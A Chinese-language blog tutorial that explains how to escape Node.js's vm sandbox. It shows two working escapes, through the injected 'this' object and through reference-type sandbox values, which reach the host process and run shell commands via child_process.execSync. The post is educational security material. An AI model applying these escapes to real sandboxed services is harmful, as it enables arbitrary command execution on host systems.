Nodejs沙箱绕过案例

沙箱绕过核心原理

只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

沙箱源码如下:

const vm = require('vm');	//引入vm模块
const script = `m + n + x`; 	//要执行的代码
const sandbox = { m: 1, n: 2 , x: 3 };	  //传递的参数
const context = new vm.createContext(sandbox);   //创建沙箱环境
const res = vm.runInContext(script, context);	//执行沙箱
console.log(res)

这个沙箱环境有两种绕过方法,但在此之前我们来了解一点前置知识

  • JavaScript 通过构造函数生成新对象,因此构造函数可以视为对象的模板。实例对象的属性和方法,可以定义在构造函数内部。JavaScript 规定,每个函数都有一个原型对象(prototype)属性,指向一个对象,所有对象都有自己的原型对象(prototype)。由于原型对象也是对象,所以它也有自己的原型。原型对象的所有属性和方法,都能被实例对象共享。
    • prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。
  • this总是表示属性或方法“当前”所在的对象。如果对象的方法里面包含thisthis的指向就是方法运行时所在的对象。
一、通过this绕过

第一种是通过this 指向传给vm.createContext的那个对象,即sandbox,由于sandbox是在沙箱外创建的,所以this实际上指向的是window

因此,我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。比如定义script如下:

const vm = require('vm');
const script = `const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()`; 
const sandbox = { m: 1, n: 2 , x: 3 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。进而可以使用execSync函数来执行任意命令。

为什么不直接使用{}.toString.constructor('return process')(),却要使用this呢?

因为{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

那么另一个问题,mn也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?

这个原因就是因为数字、字符串、布尔等这些都是原始类型(primitive types),他们的传递其实传递的是值而不是引用,所以在沙盒内使用的m和外部那个m已经不是同一个m了,因此也是无法利用的。

但也引出了第二种方式,引用传递绕过。

二、通过引用传递绕过

如果修改{m: [], n: {}, x: /regexp/},并将原先this的位置替换。这样m、n、x就都可以利用了。因为数组、对象、正则,都是引用传递,能将外部环境引入进沙箱。

const vm = require('vm');
const script = `const process = x.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()`; 
const sandbox = { m: [], n: {}, x: /regexp/ };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
总结

这两个方法都是在沙箱内部引入了外部的环境,然后利用原型对象的constructor属性指向Function构造函数,来返回process对象,进而使用子进程(child_process)模块来执行任意命令。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值